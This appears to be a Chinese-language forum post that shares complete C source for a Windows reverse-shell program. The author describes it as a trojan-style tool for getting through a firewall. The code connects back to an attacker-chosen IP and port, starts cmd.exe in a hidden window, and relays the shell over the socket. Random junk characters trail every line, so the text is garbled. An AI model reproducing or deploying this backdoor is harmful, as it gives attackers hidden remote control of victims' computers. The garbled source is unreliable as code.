这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 %Q4i%:Qi
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/* ============================== NP_?f%(
Rebound port in Windows NT !ALZBB .r(
By wind,2006/7 p;%<mUI
===============================*/ :6Pad
#include
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#include ;p Z[|
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#pragma comment(lib,"wsock32.lib") q#[`KOPV
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void OutputShell(); ~UPZ<
SOCKET sClient; g.C5r]=+&
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; }5b M1h#z
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void main(int argc,char **argv) +)/Uu3"=
{ {#hVD4$b
WSADATA stWsaData; 1"]P`SY$r
int nRet; wahZK~,EaY
SOCKADDR_IN stSaiClient,stSaiServer; rFu ez$
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if(argc != 3) Ijedo/
{ 8^ #mvHah
printf("Useage:\n\rRebound DestIP DestPort\n"); j_Nm87i]
return; n1J]p#nCa.
} `X8@/wf#
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WSAStartup(MAKEWORD(2,2),&stWsaData); tXq)nfGe{
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); FPv"N'/
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stSaiClient.sin_family = AF_INET; )=_ycf^MC
stSaiClient.sin_port = htons(0); Y&f\VNlT
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 6|=j+rScv
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) "H+,E_&(
{ .v])S}K
printf("Bind Socket Failed!\n"); _\zQ"y|G
return; PT_KXk
} `W5-.Tv
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stSaiServer.sin_family = AF_INET; IeTdN_8
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); jw>hk
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); jk70u[\
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ' [p)N,
{ ~W{-Q.
printf("Connect Error!"); Q5n`F5
return; bToq$%sCg
} 3W&S.$l
OutputShell(); $a#H,Xv#
} APSgnf
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void OutputShell() H3O@9YU
{ dULS^i@@
char szBuff[1024]; G0d&@okbFC
SECURITY_ATTRIBUTES stSecurityAttributes; ?F@%S3h.
OSVERSIONINFO stOsversionInfo; f8n
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HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 8Y{s;U0n
STARTUPINFO stStartupInfo; kiUk4&1
char *szShell; 0Y?H0
PROCESS_INFORMATION stProcessInformation; T>d.#
unsigned long lBytesRead; 1FERmf? ?d
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ;ojiJ?jU
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); `
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stSecurityAttributes.lpSecurityDescriptor = 0; iHBB,x
stSecurityAttributes.bInheritHandle = TRUE; qVgd(?hJ#
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); H^AE|U*-G
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); S4A q'
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); =r4!V>
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; q,l)I+
stStartupInfo.wShowWindow = SW_HIDE; Uems\I0
stStartupInfo.hStdInput = hReadPipe; sqO<J$tz
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 7"2b H
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GetVersionEx(&stOsversionInfo); l-)Bivoi
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switch(stOsversionInfo.dwPlatformId) _8fA?q=
{ 9F##F-%x
case 1: 46x.i;b7
szShell = "command.com"; U
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break; E^V|
default: 6|;Uq'
szShell = "cmd.exe"; ?6N3tk-2
break; $yb@
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} !xK=#pa
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); J"CJYuGW,
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send(sClient,szMsg,77,0); x]4Kkpqm
while(1) Gi?_ujZR
{ eN>0wd5{L
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); p,!$/Q+l
if(lBytesRead) {{{#?~3$7
{ \:_3i\2p
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 4^Rd{'mt
send(sClient,szBuff,lBytesRead,0); 1{PG>W
} i*[n{=*l@
else < n?=|g
{ cy3Td28,
lBytesRead=recv(sClient,szBuff,1024,0); EbK0j?
if(lBytesRead<=0) break; SreYJT%
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); c$H+g,7xQ-
} p]gT&[iJ
} `!4,jd
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return; veh
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}